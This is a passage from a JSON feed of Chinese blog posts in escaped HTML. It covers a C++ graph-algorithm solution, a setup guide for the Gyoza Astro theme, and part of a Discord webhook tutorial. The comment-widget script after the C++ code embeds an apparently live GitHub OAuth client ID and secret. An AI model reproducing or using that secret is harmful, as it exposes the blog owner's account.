class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e memset(x,y) memset(x,y,sizeof x)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e maxn 70000\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eGraph\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;map[maxn];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e inDegree[maxn];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;topoOrder;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eGraph\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(inDegree, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; \u0026amp;\u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e [](\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e pos) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e map[pos];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e from, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e to)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e map[from].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(to);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e inDegree[to]++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003etopoSort\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;joblist;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!inDegree[i])joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(i);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e(); joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e topoOrder.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(current);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; map[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e inDegree[map[current][i]]--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!inDegree[map[current][i]])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(map[current][i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;G;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eDistinctTree\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e depth[maxn], father[maxn][\u003cspan class=\"number\"\u003e17\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;map[maxn];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003elca\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e y;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (depth[x] \u0026lt; depth[y])\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(x, y);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e delta = depth[x] - depth[y];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e17\u003c/span\u003e \u0026amp;\u0026amp; delta; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (delta\u0026amp;(\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; i)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = father[x][i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e delta ^= \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e16\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (father[x][i] != father[y][i])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e x = father[x][i], y = father[y][i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (x == y ? x : father[x][\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eDistinctTree\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(depth, \u003cspan class=\"number\"\u003e0\u003c/span\u003e); \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(father, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; \u0026amp;\u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e[](\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e pos) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e map[pos];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ebuild\u003c/span\u003e\u003cspan class=\"params\"\u003e(vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026amp;topo)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e depth[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003cspan class=\"comment\"\u003e//super node\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = topo.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = topo[i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current_father = \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; G[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e current_father = \u003cspan class=\"built_in\"\u003elca\u003c/span\u003e(current_father, G[current][i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current_father == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)current_father = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e map[current_father].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(current);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e depth[current] = depth[current_father] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e father[current][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = current_father;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e16\u003c/span\u003e \u0026amp;\u0026amp; father[current][i]; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e father[current][i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = father[father[current][i]][i];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003eundef\u003c/span\u003e current\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;DT;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e FINAL[maxn];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eFINAL_DFS\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; DT[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cnt += \u003cspan class=\"built_in\"\u003eFINAL_DFS\u003c/span\u003e(DT[current][i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e FINAL[current] = cnt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; n; \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e other;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; other;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (other) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(i, other);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; other;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003etopoSort\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e DT.\u003cspan class=\"built_in\"\u003ebuild\u003c/span\u003e(G.topoOrder);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eFINAL_DFS\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; FINAL[i] - \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2018/08/01/Misc/%E6%97%A7%E7%9A%84%E5%87%A0%E7%AF%87%E9%A2%98%E8%A7%A3/"}]},{"name":"闪电豹猫的自留地","email":"Unknown","uri":"https://hhzm.win/","description":"这里是闪电豹猫的博客主站","article":[{"title":"Gyoza 使用指南","time":"2024-04-01T00:00:00Z","content":"\u003ch2\u003e前置条件\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003enode 版本 \u0026gt;= 18.18.0\u003c/li\u003e\n\u003cli\u003epnpm 版本 \u0026gt; 8.1.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e安装\u003c/h2\u003e\n\u003ch3\u003e克隆仓库\u003c/h3\u003e\n\u003cp\u003e登录 Github 账号,打开 \u003ca href=\"https://github.com/lxchapu/astro-gyoza\"\u003elxchapu/astro-gyoza\u003c/a\u003e,点击右上角的 Fork 按钮,将仓库克隆到你自己的账号下。\u003c/p\u003e\n\u003cp\u003e复制这个仓库的地址,打开终端,使用 \u003ccode\u003egit clone\u003c/code\u003e 命令将仓库克隆到本地。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本项目推荐使用 pnpm 作为你的包管理器,如果你还没有安装 pnpm,请先安装 pnpm。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e安装依赖\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003ecd astro-gyoza\npnpm install\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e命令介绍\u003c/h3\u003e\n\u003cp\u003e本地运行\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epnpm dev\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e打包静态文件\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epnpm build\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e本地预览\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epnpm preview\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e配置项\u003c/h3\u003e\n\u003cp\u003e本项目中的绝大部分配置都定义在 \u003ccode\u003esrc/config.json\u003c/code\u003e 文件中。\u003c/p\u003e\n\u003cp\u003e你应该首先将 \u003ccode\u003esite.url\u003c/code\u003e 修改成自己的域名,避免导航错误。\u003c/p\u003e\n\u003cp\u003e以下是配置项的说明:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e{\n \"site\": {\n \"url\": \"\", // 网站地址\n \"title\": \"\", // 网站标题\n \"description\": \"\", // 通用的网站描述 SEO\n \"keywords\": \"\", // 通用的网站关键词 SEO\n \"lang\": \"zh-CN\", // 网站的语言\n \"favicon\": \"\", // 浏览器图标,存放在 public 目录下\n \"appleTouchIcon\": \"\" // 苹果设备图标,存放在 public 目录下\n },\n \"author\": {\n \"name\": \"\", // 作者名称\n \"twitterId\": \"\", // 推特账号 ID,以 @ 开头,用于 Open Graph\n \"avatar\": \"\" // 作者头像地址\n },\n // 首页 Hero 组件\n \"hero\": {\n \"name\": \"\", // 显示的名称\n \"bio\": \"\", // 一句话介绍\n \"description\": \"\", // 补充描述\n // 社交账号\n \"socials\": [\n {\n \"name\": \"\", // 社交平台类型\n \"icon\": \"\", // 社交平台图标\n \"url\": \"\", // 链接\n \"color\": \"\" // 图标颜色\n }\n ],\n \"yiyan\": \"\" // 显示一言\n },\n \"color\": {\n // 强调色,请填写 16 进制颜色值。每次会从中随机取出一组\n \"accent\": [{ \"light\": \"\", \"dark\": \"\" }],\n // 背景色\n \"bg\": {\n \"primary\": { \"light\": \"\", \"dark\": \"\" },\n \"secondary\": { \"light\": \"\", \"dark\": \"\" }\n },\n // 文字颜色\n \"text\": {\n \"primary\": { \"light\": \"\", \"dark\": \"\" },\n \"secondary\": { \"light\": \"\", \"dark\": \"\" }\n },\n // 边框颜色\n \"border\": {\n \"primary\": { \"light\": \"\", \"dark\": \"\" }\n }\n },\n // 顶部导航栏\n \"menus\": [\n {\n \"name\": \"首页\",\n \"link\": \"/\",\n \"icon\": \"icon-pantone\"\n }\n ],\n \"posts\": {\n \"perPage\": 10 // 每一页显示的文章数量\n },\n \"footer\": {\n \"startTime\": \"\" // 博客网站开始时间 请使用 ISO 格式\n },\n // Waline 评论系统,前往 https://waline.js.org/ 查看\n \"waline\": {\n \"serverURL\": \"\"\n },\n // 赞助\n \"sponsor\": {\n \"wechat\": \"\" // 微信赞赏码图片地址\n },\n // 如果需要使用网站数据统计,将 enable 修改为 true,并填写对应的配置\n \"analytics\": {\n \"enable\": false,\n // https://analytics.google.com\n \"google\": {\n \"measurementId\": \"\"\n },\n // https://umami.is/docs\n \"umami\": {\n \"serverUrl\": \"\",\n \"websiteId\": \"\"\n },\n // https://clarity.microsoft.com/\n \"microsoftClarity\": {\n \"projectId\": \"\"\n }\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e部署\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里只介绍了 Vercel,你当然可以选择其他平台例如:Cloudflare Pages 或你自己的服务器。\u003cbr /\u003e\n部署之前,确保你已经修改 \u003ccode\u003esite.url\u003c/code\u003e。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003e部署到 Vercel\u003c/h3\u003e\n\u003cp\u003e登录 Vercel 账号,点击右上角的 Add new... 选择 Project。然后在 Import Git Repository 中选择刚刚 Fork 的仓库,点击 Import 按钮。\u003c/p\u003e\n\u003cp\u003e进入项目配置页面,直接点击 Deploy 按钮,静静等待部署完成就 👌 了。\u003c/p\u003e\n\u003cp\u003eVercel 会为你分配一个域名,你可以在项目设置中设置自定义域名,更多操作请参考 Vercel 文档。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/guide/"},{"title":"Bot in Discord with discord.js (17)","time":"2024-05-09T00:00:00Z","content":"\u003ch1\u003eChapter 20 - Webhook 钩子\u003c/h1\u003e\n\u003cp\u003eWebhook 是一种将消息发布到 Discord 频道的而无需使用 Discord 的省力方式。它不需要你有一个机器人账号或身份验证即可使用这个东西。和 Discord API 一样,Webhook 对于自动化程序来说是十分友好的。\u003c/p\u003e\n\u003cp\u003e创建和管理一个频道 Webhook 钩子是很轻松的,但是你不能直接修改或删除由 Webhook 发送的消息。\u003c/p\u003e\n\u003cp\u003e下面我们来讲如何创建一个 Webhook 钩子。\u003c/p\u003e\n\u003ch3\u003e手动创建一个 Webhook\u003c/h3\u003e\n\u003cp\u003e打开 Discord,打开服务器设置,左侧侧栏找到并点开 “整合”(Integeration),点击 Webhook,点击 “新 Webhook”,Discord 会新建一个 Webhook 给你。\u003c/p\u003e\n\u003cp\u003e然后在下面的列表里找到新建的 Webhook,你可以修改钩子的名称和作用的频道(只能选一个,如果需要作用到多个频道,请考虑使用多个钩子或使用机器人)。然后保存。\u003c/p\u003e\n\u003cp\u003e点击复制 Webhook URL,你就拿到了直接给作用频道发送消息的钩子地址。任何有了这个 URL 的人,都可以往对应频道里发送消息,不需要身份认证。所以,请妥善保存号这个 URL,若不慎泄露,请删除这个钩子。\u003c/p\u003e\n\u003cp\u003e修改一个已有 Webhook 的作用频道不会导致其 URL 的改变。\u003c/p\u003e\n\u003ch3\u003e钩子的格式?\u003c/h3\u003e\n\u003cp\u003eWebhook URL 形式一般如下:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ehttps://discord.com/api/webhooks/112183042530477****/1KlxJ3nqTOb_8xPa5iPulgAUz1cX9XcZ157iJGQmiuP8Uqwr****_aeSj0z2pYp****\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e或\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ehttps://ptb.discord.com/api/webhooks/112183042530477****/1KlxJ3nqTOb_8xPa5iPulgAUz1cX9XcZ157iJGQmiuP8Uqwr****_aeSj0z2pYp****\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e可以看到固定的格式:API Endpoint + 钩子 ID + 钩子 token\u003c/p\u003e\n\u003cp\u003e根据 Discord API,Webhook 的结构如下表:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e域\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eid\u003c/td\u003e\n\u003ctd\u003esnowflake\u003c/td\u003e\n\u003ctd\u003eWebhook 的 